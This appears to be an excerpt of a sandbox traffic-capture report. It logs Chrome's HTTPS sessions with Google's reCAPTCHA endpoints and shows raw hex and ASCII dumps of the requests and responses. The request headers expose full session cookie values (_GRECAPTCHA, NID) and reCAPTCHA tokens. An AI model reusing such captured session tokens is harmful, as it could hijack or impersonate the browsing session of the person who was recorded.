2024-03-15 12:58:07 UTC	1252	IN	Data Raw: ef 7e 15 ea 6a 5d 93 e7 4b 87 ed f3 b0 5c 57 97 fc 26 56 7d 7b 07 6b 94 84 ed 23 e5 23 f1 af 4d 48 95 79 f2 a3 62 7f bf 2e 6b 0a a8 de 1b 0f c4 5b 94 b4 56 c8 07 f7 e5 26 a4 b5 2a 1c f9 72 5a a8 63 d1 23 e0 53 23 68 d3 e5 66 b5 04 9e 36 a6 ec 53 d2 5c 30 41 2c bb 89 c7 c9 1d 64 96 86 d2 56 89 c2 7c 60 7d b7 45 0b 3b 7f a3 80 4e dc 77 35 e6 3e 14 04 78 86 d4 6e 0b fb c1 92 4f d2 bd 13 e3 24 a0 df 48 18 48 3f d1 d3 3b be a6 bc e3 c3 01 8e b3 6c 72 78 71 ce 2b b3 06 ac 8e 2a cc f7 9d 23 68 8f 07 ae ce b5 e3 df 15 d8 b7 8b 25 04 f0 06 07 7a f5 bd 2c 15 8c 7e f3 39 41 8e 3a 57 8e 7c 48 7f 33 c5 57 24 9c 8c 9c 56 b5 ac e7 73 38 bd 0f 47 f8 42 bf f1 49 86 13 5c 9c cc dc 22 e0 57 69 14 43 79 7f 22 66 c8 c6 4b 57 23 f0 99 d5 3c 1b 0e 12 e0 e5 db 21 4e 2b af f2 f1 Data Ascii: ~j]K\W&V}{k##MHyb.k[V&rZc#S#hf6S\0A,dV\|`}E;Nw5>xnO$HH?;lrxq+#h%z,~9A:W\|H3W$Vs8GBI\"WiCy"fKW#<!N+
2024-03-15 12:58:07 UTC	342	IN	Data Raw: 9c 04 dc 71 8a f2 bb 86 67 50 c7 80 06 09 c7 6e 95 dd 78 2b 50 fb 16 83 3f 9b 24 86 02 e4 93 bb 01 40 18 e2 ad 3b 04 24 92 b9 dd f8 8a 54 fe cf b1 45 67 c8 19 21 46 0f 4a c7 d3 40 70 1d 12 51 96 3f 7d f6 d5 af 10 5f 58 b5 85 85 c4 00 98 1a 10 4f 73 80 3f fd 75 cc 69 1a 83 34 31 49 24 eb 1a b4 c7 0a 50 96 fa 7d 29 bb bd c2 1a 1d 50 6c 60 14 81 72 7f 8a 4c 9a f3 7f 8b 21 52 69 48 58 d7 21 41 20 73 f8 1a f4 55 c1 60 49 70 31 d7 ca af 37 f8 ac 4b cd 2e 5a 42 77 0c 82 38 e9 44 3e 23 59 6c 70 36 f8 da e0 12 a4 2e 4f bd 11 8f de 6e c1 c6 78 c9 a7 40 09 88 9c 81 94 e4 91 d7 9a 68 e4 05 c0 3f 30 ef 5d 7b 18 a7 a9 e9 5f 08 51 9b 55 9e 47 10 fc b0 1e 19 b0 3a d7 a7 40 01 3b d5 6d 11 48 fe 05 26 bc e7 e1 12 a2 dd dd 31 31 c7 88 c0 e5 37 67 9a f4 86 99 59 82 c7 24 c4 Data Ascii: qgPnx+P?$@;$TEg!FJ@pQ?}_XOs?ui41I$P})Pl`rL!RiHX!A sU`Ip17K.ZBw8D>#Ylp6.Onx@h?0]{_QUG:@;mH&117gY$
2024-03-15 12:58:07 UTC	1252	IN	Data Raw: 4b db d0 61 23 e6 5e 44 99 1d 2b 8a f0 a8 53 ad 42 cc 40 50 c7 a8 c8 ae ac 32 b2 38 6a 3d 4f 67 d2 26 c2 11 21 6d c5 46 09 fa 57 8d 78 e6 44 97 c4 f7 2c 9d 0b d7 a7 59 dc 82 02 b4 80 71 8e bd 05 79 47 89 99 3f b7 e7 2b f3 0f 33 ad 5c d6 a4 43 6b 1e c5 f0 e2 30 3c 1f 6e 76 ce 57 24 61 7e bd ab ab da bf 67 6c a1 00 10 72 ed d6 b9 cf 87 70 88 bc 25 60 ab 1b ed 28 70 43 7c bd 6b a1 98 af 96 54 c5 92 a0 02 43 66 b9 a6 db 67 5c 1e 86 e6 8c df f1 4a dd b3 90 a7 0d 8c 73 9e 2b c9 b5 99 cf da 66 04 21 50 06 ee 6b d5 ad 91 93 c2 93 9c 05 07 76 05 79 3e a1 1e eb e9 c4 82 20 cb 81 8e b9 a2 aa 49 a2 60 b5 6c a1 75 b1 ec 4b 42 bf f2 db 8d 9d 7e b4 f2 26 11 0d 85 d4 fa 53 2e 55 8c 58 44 76 5f 33 aa 70 0f 1e 95 23 82 62 c8 12 90 40 ef fa 56 6f 51 df 51 15 5e 4c 04 32 2b Data Ascii: Ka#^D+SB@P28j=Og&!mFWxD,YqyG?+3\Ck0<nvW$a~glrp%`(pC\|kTCfg\Js+f!Pkvy> I`luKB~&S.UXDv_3p#b@VoQQ^L2+
2024-03-15 12:58:07 UTC	1252	IN	Data Raw: 99 3a e7 a5 79 97 c5 62 8b 7d 30 d8 57 12 e0 0d f9 cf 15 e9 11 49 6e 99 61 f6 75 0a 41 ef 5c 2f 8b b4 d5 d5 35 29 27 fb 65 82 47 92 46 f7 e3 3c 76 ad 62 ad 21 cb 44 79 f5 bc 2e b6 6f 21 59 42 b2 e0 1d 9c 13 f5 ab fa 36 8f 77 76 ab 24 56 72 4a a5 86 0f 4a dc 3a 4c 42 d9 22 9f c4 76 2a 80 67 cb 19 db f8 54 90 c3 a4 c7 10 12 78 a5 63 00 8c 88 90 f3 5d 37 b9 8c 53 3a cf 87 9a 7d cd 9c f7 65 e0 96 23 b4 2f ca c1 cf 5f d2 bb 48 41 91 c7 fc 7c b7 60 18 ed cf bd 72 9f 0c 65 b1 93 fb 4c 59 de dc 5e 80 53 2e df 2e 2b a9 28 37 31 f2 d4 e3 a6 f9 71 58 54 6a e6 f1 2d 04 f9 5b 30 12 71 8c b4 c4 66 92 dd 44 6e 0b 47 02 f1 c6 64 24 d4 6b 14 41 32 c9 6b 18 3d fc cc d4 17 f3 9b 7b 66 f2 1e d4 b9 e0 2e 0e 09 fa fa d6 77 d0 d2 4e e8 f2 ff 00 89 f2 34 9a 9d dc 65 22 f9 9c 63 Data Ascii: :yb}0WInauA\/5)'eGF<vb!Dy.o!YB6wv$VrJJ:LB"v*gTxc]7S:}e#/_HA\|`reLY^S..+(71qXTj-[0qfDnGd$kA2k={f.wN4e"c
2024-03-15 12:58:07 UTC	1252	IN	Data Raw: 90 86 c0 73 c7 5c fb f6 aa 77 b6 73 0f b4 07 5f 2d 71 f2 1c e7 71 1d 2b a5 ba 0a 19 1e e0 16 8c 9c 34 64 f4 f7 ac 69 6e 2d 8d e3 96 5f 3e 2d c1 44 67 82 3d eb cb a5 27 26 6f 08 b6 c8 3c 3f a9 6a 37 ba 95 ba bc 05 95 00 8b 21 78 35 bb e3 29 a4 4f 0d 5e ae 24 56 c8 8c ef 2a 01 c9 f6 aa 3a 24 a3 4f d3 a7 9b ca 89 82 33 05 42 7a 9a ce d6 35 01 7b e1 7b b7 65 81 65 62 0e de 7e 5e 7b 57 7c 52 b1 ab 8d 91 c4 96 48 4e f8 41 69 23 38 e1 7a 03 56 ed 2e a1 7b 79 24 31 39 08 a7 72 e3 d0 d5 7d 2e 04 69 2e fc c7 3b 5e 33 8d a7 9e 2a 95 f7 92 16 5b 68 8c 8a f8 18 62 70 4f 15 56 31 8b d4 b2 d3 a4 97 47 6a 80 84 8c 64 f1 4b e2 99 22 b8 bc b7 86 dd f6 33 28 42 73 d4 8f 43 4d 8a 11 6c 20 8a 52 ca 19 14 fc c3 8c d3 6e 98 c4 13 18 2c 72 cd 88 f7 fe 02 84 53 93 40 a6 5b 7d 2f Data Ascii: s\ws_-qq+4din-_>-Dg='&o<?j7!x5)O^$V:$O3Bz5{{eeb~^{W\|RHNAi#8zV.{y$19r}.i.;^3[hbpOV1GjdK"3(BsCMl Rn,rS@[}/
2024-03-15 12:58:07 UTC	1252	IN	Data Raw: d4 a3 2d 8c e4 bf 03 f1 a4 2b 23 64 be a6 a3 18 19 0c 7f ce 28 b9 0e ec 8e 2f 3d 61 0f 1e 99 01 25 47 54 27 35 31 3a 86 dc c3 61 0a b6 72 4f 97 8a 6c 23 32 6e 1a a1 23 3d 09 6c 7b 53 9e 38 d5 4f 99 7c 59 b3 8e 8d c5 26 9b 1a 1c 8f ac 48 0b b2 c3 18 e8 4e d5 14 a0 ea ac 58 1b 84 5c 7d dc 15 19 aa 66 1b 46 85 bf d3 18 9c 8e 8a 69 cb 1d 91 7c 7d a1 db dc 0a 6b 41 ec 5a fb 3e b0 79 fb 6a f3 ff 00 4d 16 8a 8b 7d 88 e3 cc 98 fb e0 51 45 c5 71 de 1b b1 f2 7c 55 6e c6 e3 cd 50 db 95 48 e9 c5 76 3e 29 9c c7 1d be 23 dd 1b 3b 87 2d fc 35 c9 f8 35 7c cf 15 20 c6 f5 48 d9 fc c1 90 1b 27 a5 75 7e 2a 99 11 6d e3 77 f9 5d 5b 2b 8c e6 b0 c5 49 fd 4d 1e 7b fe 25 8c 0b 9b 01 72 c8 ee a5 42 b6 47 38 dc bd ab 0e 2b 16 8b 55 9d a4 01 46 48 4e 33 5b 50 dd 03 39 88 48 ce 02 63 Data Ascii: -+#d(/=a%GT'51:arOl#2n#=l{S8O\|Y&HNX\}fFi\|}kAZ>yjM}QEq\|UnPHv>)#;-55\| H'u~*mw][+IM{%rBG8+UFHN3[P9Hc
2024-03-15 12:58:07 UTC	1252	IN	Data Raw: a2 ec 2c 4e 1d 4b 80 66 ca 02 48 53 9e 94 24 80 9d de 66 50 fd d0 47 4a a8 7c e7 99 43 48 ea a4 9c 10 2a 51 f2 82 a6 76 27 b2 95 a1 12 d3 24 17 7b a5 e5 90 91 c7 4e 69 db f0 9c 34 4d eb b8 75 a8 22 8d 19 81 f9 49 3d f1 4c b8 05 40 f2 b6 63 b8 e9 4c 44 1a 83 47 34 bb 1c 05 6c f0 54 55 88 ed 23 68 d0 ac ac a4 1c 37 ca 2a 35 5b 91 74 18 a2 be 47 cb d2 b5 20 7b bd a0 79 51 81 9c 7d d1 53 25 a9 49 8d 68 ac ce 51 d6 59 14 0e e4 01 55 8a 5a 31 11 8b 69 77 67 a9 70 73 fa 56 8c 83 52 78 08 db 16 e1 d3 ee d4 09 15 dc 8c 85 9e 24 65 38 3f 30 14 96 85 0c 51 6a b3 01 f6 37 d8 a4 11 cf 27 f1 c5 5a 09 04 ea 49 b6 91 58 8c 81 b8 f5 fc a9 7c ad 40 b1 2f 73 18 03 a6 24 15 2a 9b e0 00 17 c9 b8 67 9f 30 55 5c 96 42 90 db a6 71 0b e7 d0 82 73 4f 64 4c ae cb 20 a7 af 2a 4f d4 Data Ascii: ,NKfHS$fPGJ\|CHQv'${Ni4Mu"I=L@cLDG4lTU#h75[tG {yQ}S%IhQYUZ1iwgpsVRx$e8?0Qj7'ZIX\|@/s$g0U\BqsOdL O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.17	49753	142.250.65.164	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:13 UTC	1251	OUT	POST /recaptcha/api2/replaceimage?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 6000 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: https://www.google.com X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:58:13 UTC	6000	OUT	Data Raw: 76 3d 30 37 67 30 6d 70 50 47 75 6b 54 6f 32 30 56 71 4b 61 38 47 62 54 53 77 26 63 3d 30 33 41 46 63 57 65 41 37 78 48 6d 30 4c 51 6b 43 6c 32 6f 57 74 70 44 66 76 38 6f 77 6a 57 75 6d 5a 76 42 58 79 77 32 4d 6c 64 41 69 39 64 6a 52 6e 65 6c 35 51 58 6f 6e 68 6c 6f 58 6f 52 63 61 64 45 47 38 46 38 78 70 57 41 61 45 54 59 35 4d 48 38 6c 79 6e 39 5a 77 54 69 46 68 37 45 49 61 79 79 71 36 45 63 37 72 77 66 7a 6f 34 4a 63 34 6e 4a 61 74 6a 54 46 31 59 7a 73 50 51 59 50 75 5f 65 62 75 6a 45 48 51 54 55 55 75 4b 41 69 4c 72 6c 57 6a 51 32 78 6b 6f 38 6e 6d 4b 78 66 4f 72 37 67 48 5a 54 55 32 79 55 56 62 52 42 49 42 71 43 70 76 69 72 34 6e 46 39 58 44 69 79 50 62 75 31 61 68 69 51 48 76 41 68 30 57 67 59 50 7a 4f 64 78 78 7a 5f 36 46 4d 38 4b 4e 76 59 31 6e 55 Data Ascii: v=07g0mpPGukTo20VqKa8GbTSw&c=03AFcWeA7xHm0LQkCl2oWtpDfv8owjWumZvBXyw2MldAi9djRnel5QXonhloXoRcadEG8F8xpWAaETY5MH8lyn9ZwTiFh7EIayyq6Ec7rwfzo4Jc4nJatjTF1YzsPQYPu_ebujEHQTUUuKAiLrlWjQ2xko8nmKxfOr7gHZTU2yUVbRBIBqCpvir4nF9XDiyPbu1ahiQHvAh0WgYPzOdxxz_6FM8KNvY1nU
2024-03-15 12:58:13 UTC	483	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff Date: Fri, 15 Mar 2024 12:58:13 GMT Expires: Fri, 15 Mar 2024 12:58:13 GMT Cache-Control: private, max-age=0 X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:58:13 UTC	769	IN	Data Raw: 61 36 31 0d 0a 29 5d 7d 27 0a 5b 22 64 72 65 73 70 22 2c 22 30 33 41 46 63 57 65 41 35 4c 52 65 49 72 48 4b 74 52 77 38 53 37 59 72 6d 2d 74 74 5a 61 79 4b 72 63 5a 66 42 43 6c 46 76 44 2d 37 4b 47 68 54 58 48 6e 5a 59 48 70 6c 2d 76 70 56 66 70 65 4d 70 6e 45 52 56 31 76 53 6d 33 64 43 55 48 2d 32 62 31 4d 4b 6c 73 30 79 5a 44 58 36 4f 54 4c 43 74 38 37 76 6e 6e 70 71 30 44 6d 71 61 72 53 2d 4f 4b 41 55 4e 4a 49 77 55 39 31 36 51 5f 33 38 48 57 7a 6c 5a 63 67 43 30 36 31 4f 59 2d 52 50 78 7a 42 75 6e 67 6a 49 6c 7a 76 73 42 47 30 5a 58 66 74 43 4a 72 7a 52 6f 35 36 34 71 68 36 49 46 79 6e 57 6c 77 4d 49 4d 4a 35 41 53 4c 41 4d 43 75 39 69 6e 50 61 46 6f 71 52 32 72 79 5f 45 61 6f 77 69 75 77 6a 79 46 63 56 61 69 4b 69 6b 45 35 41 74 77 31 2d 5f 41 33 6b Data Ascii: a61)]}'["dresp","03AFcWeA5LReIrHKtRw8S7Yrm-ttZayKrcZfBClFvD-7KGhTXHnZYHpl-vpVfpeMpnERV1vSm3dCUH-2b1MKls0yZDX6OTLCt87vnnpq0DmqarS-OKAUNJIwU916Q_38HWzlZcgC061OY-RPxzBungjIlzvsBG0ZXftCJrzRo564qh6IFynWlwMIMJ5ASLAMCu9inPaFoqR2ry_EaowiuwjyFcVaiKikE5Atw1-_A3k
2024-03-15 12:58:13 UTC	1252	IN	Data Raw: 59 53 46 77 31 2d 51 61 37 42 54 57 78 56 5f 58 50 45 65 65 66 79 72 4e 46 6a 4c 59 42 74 52 71 32 69 41 5f 37 6d 6e 31 74 78 50 6a 64 56 76 76 75 4d 50 79 32 67 76 42 69 71 75 62 54 61 44 2d 53 67 64 50 73 5a 38 36 46 72 70 46 30 59 72 66 72 61 66 54 43 47 55 39 67 58 68 4a 45 39 63 45 6c 35 30 44 44 30 44 56 5f 36 54 34 36 67 73 71 58 65 57 38 49 4a 49 42 32 41 54 45 54 37 6e 56 58 57 6e 54 6d 46 72 64 63 6f 32 72 75 47 67 43 4b 54 5f 4c 44 5f 55 5a 74 54 4e 30 38 49 71 38 71 75 52 68 4c 36 2d 45 4e 78 73 4f 57 56 70 61 55 49 6d 79 4f 41 52 55 68 45 78 5f 74 32 78 31 39 74 38 5f 6d 32 4b 32 4f 4e 79 35 38 44 69 54 77 74 65 61 67 4f 77 43 47 77 59 65 50 54 48 68 35 5a 32 5f 33 6c 38 6d 6b 49 52 56 47 59 78 4e 76 4e 50 58 6e 61 64 67 51 44 35 75 31 59 56 Data Ascii: YSFw1-Qa7BTWxV_XPEeefyrNFjLYBtRq2iA_7mn1txPjdVvvuMPy2gvBiqubTaD-SgdPsZ86FrpF0YrfrafTCGU9gXhJE9cEl50DD0DV_6T46gsqXeW8IJIB2ATET7nVXWnTmFrdco2ruGgCKT_LD_UZtTN08Iq8quRhL6-ENxsOWVpaUImyOARUhEx_t2x19t8_m2K2ONy58DiTwteagOwCGwYePTHh5Z2_3l8mkIRVGYxNvNPXnadgQD5u1YV
2024-03-15 12:58:13 UTC	643	IN	Data Raw: 55 76 47 73 78 45 41 70 44 5f 4e 59 52 6c 4e 31 65 4d 31 66 4b 4d 68 49 66 4f 37 51 70 2d 45 45 34 55 35 70 77 34 75 65 57 72 6c 6d 30 52 65 57 37 4c 31 76 62 6c 35 57 32 74 63 74 31 39 6c 43 6d 58 62 66 37 46 4a 66 43 33 6d 6c 6b 39 4c 74 6b 52 44 74 56 4a 70 50 43 46 76 62 7a 66 31 58 61 75 4f 6f 77 42 4b 4b 32 50 2d 75 70 79 2d 49 57 31 76 45 73 6e 43 4b 53 59 6f 56 61 55 54 4c 5f 2d 77 64 73 2d 73 63 71 53 54 66 70 53 48 48 41 63 4b 65 62 4b 46 63 45 43 42 4b 4e 72 4e 78 6a 76 61 7a 58 5a 6f 36 77 74 54 46 78 39 5a 2d 4b 48 4c 54 61 73 48 2d 6b 31 53 4d 73 33 63 4c 6d 71 58 32 69 2d 59 34 39 49 68 51 5a 58 65 4e 58 54 32 68 2d 4f 38 79 48 36 68 58 4c 59 7a 62 30 64 61 6d 66 31 32 6e 33 39 4a 6d 42 4d 4d 73 32 48 64 56 45 32 53 34 41 56 2d 77 6a 2d 49 Data Ascii: UvGsxEApD_NYRlN1eM1fKMhIfO7Qp-EE4U5pw4ueWrlm0ReW7L1vbl5W2tct19lCmXbf7FJfC3mlk9LtkRDtVJpPCFvbzf1XauOowBKK2P-upy-IW1vEsnCKSYoVaUTL_-wds-scqSTfpSHHAcKebKFcECBKNrNxjvazXZo6wtTFx9Z-KHLTasH-k1SMs3cLmqX2i-Y49IhQZXeNXT2h-O8yH6hXLYzb0damf12n39JmBMMs2HdVE2S4AV-wj-I
2024-03-15 12:58:13 UTC	1252	IN	Data Raw: 64 62 61 0d 0a 65 4f 72 61 4f 41 35 44 35 5a 6f 44 55 66 7a 65 6c 35 34 33 4b 42 6f 52 48 35 61 67 67 4b 76 51 35 4a 33 50 67 4e 43 61 43 5f 4f 78 66 66 50 79 55 79 6b 75 38 6f 41 6c 5f 68 41 43 38 43 74 6b 62 7a 4e 47 73 51 44 41 58 73 77 59 5a 69 53 54 59 36 69 7a 66 4b 70 55 38 56 68 6a 33 4f 75 5a 59 34 69 57 55 39 37 34 77 6d 76 39 4c 6f 68 36 42 76 6f 31 70 30 52 36 76 58 75 68 4b 36 47 68 7a 42 69 31 68 36 5a 36 75 43 59 7a 4b 4c 41 67 31 42 68 66 2d 39 61 58 39 79 41 77 2d 55 5a 67 49 50 42 71 47 47 4d 5a 66 45 7a 64 4c 55 30 6f 43 47 52 61 55 50 56 5a 55 33 43 52 45 79 32 57 69 4a 78 70 59 79 38 6b 47 4a 65 61 44 72 31 37 55 68 75 63 39 49 52 75 4d 4b 4f 34 68 5f 6f 70 36 56 30 47 75 6e 4f 46 33 77 6e 62 2d 72 69 37 74 78 41 77 43 72 38 7a 68 64 Data Ascii: dbaeOraOA5D5ZoDUfzel543KBoRH5aggKvQ5J3PgNCaC_OxffPyUyku8oAl_hAC8CtkbzNGsQDAXswYZiSTY6izfKpU8Vhj3OuZY4iWU974wmv9Loh6Bvo1p0R6vXuhK6GhzBi1h6Z6uCYzKLAg1Bhf-9aX9yAw-UZgIPBqGGMZfEzdLU0oCGRaUPVZU3CREy2WiJxpYy8kGJeaDr17Uhuc9IRuMKO4h_op6V0GunOF3wnb-ri7txAwCr8zhd
2024-03-15 12:58:13 UTC	1252	IN	Data Raw: 79 43 4c 6a 35 42 41 79 55 36 4a 65 4d 2d 51 5f 4e 33 57 38 56 73 56 39 53 4e 4c 79 5a 5a 4e 43 70 68 49 39 52 62 33 43 6b 51 38 74 56 73 56 59 31 61 49 66 45 46 73 59 36 53 4d 79 59 37 68 34 4c 39 79 6a 6a 52 4e 61 6d 47 49 4e 78 5f 47 63 66 38 2d 57 38 76 46 7a 71 4e 77 6a 6d 54 74 59 61 74 79 48 78 68 72 30 69 70 58 64 72 6f 6e 6b 6a 68 6c 52 6d 2d 54 76 4f 4b 6b 61 75 78 55 54 79 6d 65 6a 73 51 54 4e 47 54 65 4c 64 56 55 38 46 67 79 5f 78 7a 34 6f 79 7a 4f 65 34 77 53 63 62 5a 4c 43 44 62 35 46 36 62 68 54 6e 79 33 43 59 72 70 47 46 44 65 2d 47 64 62 78 52 54 4a 67 44 76 7a 4a 6f 7a 35 6b 5a 76 70 6a 76 37 41 59 62 43 4d 66 44 63 6f 6d 31 59 38 6b 53 6a 4f 59 6a 43 6f 65 6e 50 66 52 64 63 41 4a 6a 54 56 36 4d 50 4f 4a 64 46 69 4b 6b 41 4e 58 46 4b 6a Data Ascii: yCLj5BAyU6JeM-Q_N3W8VsV9SNLyZZNCphI9Rb3CkQ8tVsVY1aIfEFsY6SMyY7h4L9yjjRNamGINx_Gcf8-W8vFzqNwjmTtYatyHxhr0ipXdronkjhlRm-TvOKkauxUTymejsQTNGTeLdVU8Fgy_xz4oyzOe4wScbZLCDb5F6bhTny3CYrpGFDe-GdbxRTJgDvzJoz5kZvpjv7AYbCMfDcom1Y8kSjOYjCoenPfRdcAJjTV6MPOJdFiKkANXFKj
2024-03-15 12:58:13 UTC	1017	IN	Data Raw: 78 79 4a 2d 68 57 4c 36 64 4a 37 74 66 50 64 72 4f 78 56 41 58 63 44 72 44 38 7a 55 44 55 4b 53 2d 73 62 57 36 38 57 30 33 4e 72 35 6e 70 76 6a 6e 76 66 45 53 41 5f 35 37 55 73 69 64 4b 6a 41 46 78 66 73 51 51 6c 71 66 56 7a 69 6c 38 4f 50 58 6c 4e 65 70 31 71 72 50 41 67 6b 33 42 5f 6b 31 4e 6e 4e 68 61 34 4f 4e 4f 70 61 42 78 47 36 58 33 45 33 4c 75 54 74 6e 51 5f 73 4a 4c 64 56 64 6b 38 53 44 61 72 52 37 70 6b 4c 50 4d 30 38 78 38 71 54 58 52 71 74 75 48 41 7a 72 4b 74 59 5a 37 50 79 4d 56 42 41 74 41 51 56 38 4d 74 74 6f 77 78 56 50 79 31 66 70 72 36 4b 51 76 55 45 4e 44 76 6c 49 56 66 68 44 4d 4b 2d 4a 45 77 5a 6d 46 6f 34 62 70 59 6d 41 5a 41 63 4b 6d 50 33 78 65 57 30 42 38 6e 50 59 46 79 72 5a 72 56 53 67 48 58 54 69 62 2d 66 6b 42 36 4d 54 34 64 Data Ascii: xyJ-hWL6dJ7tfPdrOxVAXcDrD8zUDUKS-sbW68W03Nr5npvjnvfESA_57UsidKjAFxfsQQlqfVzil8OPXlNep1qrPAgk3B_k1NnNha4ONOpaBxG6X3E3LuTtnQ_sJLdVdk8SDarR7pkLPM08x8qTXRqtuHAzrKtYZ7PyMVBAtAQV8MttowxVPy1fpr6KQvUENDvlIVfhDMK-JEwZmFo4bpYmAZAcKmP3xeW0B8nPYFyrZrVSgHXTib-fkB6MT4d
2024-03-15 12:58:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.17	49754	142.250.65.164	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:13 UTC	1443	OUT	GET /recaptcha/api2/payload?p=06AFcWeA5jjbmJOVjgho_5e1jWnVV-oQw3meDbcEFKXcZhEv4f7mveZl2oHT5bwlhR7jzGWXdDkSdk2G-Qb0wY27mQ15Zd4SXM9EnKFc2Pex7Z5IVZgjuId-oVQrBH1b2yaqHYZnQLWWr_kc6J5zoVuG3jkRb7FiGqzMX5abhQygS5hOzv17Lutr6Y6sG7mSvDg_gyx8EkS-qTui8GrFLUobBSf7jTWSJ8Jg&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=41a4f21ecb783bb3 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:58:13 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Fri, 15 Mar 2024 12:58:13 GMT Date: Fri, 15 Mar 2024 12:58:13 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:58:13 UTC	1252	IN	Data Raw: 35 45 32 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 c2 01 c2 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 5E20JFIFC!"$"$C"}!1AQa"q
